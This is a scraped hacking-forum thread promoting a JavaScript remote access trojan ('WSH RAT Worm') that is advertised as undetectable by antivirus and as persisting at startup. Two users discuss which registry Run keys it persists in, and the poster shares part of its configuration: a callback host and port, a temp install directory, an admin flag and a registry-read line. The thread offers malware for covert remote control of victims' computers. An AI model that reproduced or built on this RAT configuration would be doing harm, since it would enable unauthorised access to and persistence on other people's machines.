+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Remote Administration & Stress Testing (https://sinister.li/Forum-Remote-Administration-Stress-Testing)
+--- Thread: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 (/Thread-WSH-RAT-Worm-JS-Javascript-Bypass-FUD-Startup-2020)
WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - hellboydz - 05-16-2020
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - mothered - 05-16-2020
I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?
I assume In the run directories of the HKCU & HKLM registry hives?
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - hellboydz - 05-16-2020
(05-16-2020, 05:11 AM)mothered Wrote: I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?I'm not sure but by the way check is code when. You build u will got it
I assume In the run directories of the HKCU & HKLM registry hives?
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - mothered - 05-16-2020
(05-16-2020, 08:39 AM)hellboydz Wrote:(05-16-2020, 05:11 AM)mothered Wrote: I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?I'm not sure but by the way check is code when. You build u will got it
I assume In the run directories of the HKCU & HKLM registry hives?
No problem at all, I'll look Into It shortly.
Thanks for the reply.
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - hellboydz - 05-16-2020
(05-16-2020, 09:26 AM)mothered Wrote:Let me explain it(05-16-2020, 08:39 AM)hellboydz Wrote:(05-16-2020, 05:11 AM)mothered Wrote: I haven't got time to view the video, so I'm just curious as to where It adds Itself In Startup?I'm not sure but by the way check is code when. You build u will got it
I assume In the run directories of the HKCU & HKLM registry hives?
No problem at all, I'll look Into It shortly.
Thanks for the reply.
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - mothered - 05-16-2020
(05-16-2020, 04:18 PM)hellboydz Wrote:(05-16-2020, 09:26 AM)mothered Wrote:Let me explain it(05-16-2020, 08:39 AM)hellboydz Wrote: I'm not sure but by the way check is code when. You build u will got it
No problem at all, I'll look Into It shortly.
Thanks for the reply.
Please do.
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - hellboydz - 05-16-2020
(05-16-2020, 04:26 PM)mothered Wrote:(05-16-2020, 04:18 PM)hellboydz Wrote:(05-16-2020, 09:26 AM)mothered Wrote: No problem at all, I'll look Into It shortly.Let me explain it
Thanks for the reply.
Please do.
//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start
here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}
did you see here its config
RE: WSH RAT Worm JS | Javascript Bypass FUD + Startup 2020 - mothered - 05-17-2020
(05-16-2020, 07:06 PM)hellboydz Wrote:(05-16-2020, 04:26 PM)mothered Wrote:(05-16-2020, 04:18 PM)hellboydz Wrote: Let me explain it
Please do.
//=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
var host = "192.168.168.248";
var port = 1330;
var installdir = "%temp%"; // store in temp if you something change it easy becuase open source
var runAsAdmin = false; // this is will be not run as administrator when start
here : try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){}
did you see here its config
Nice.
Appreciate your time to provide the details.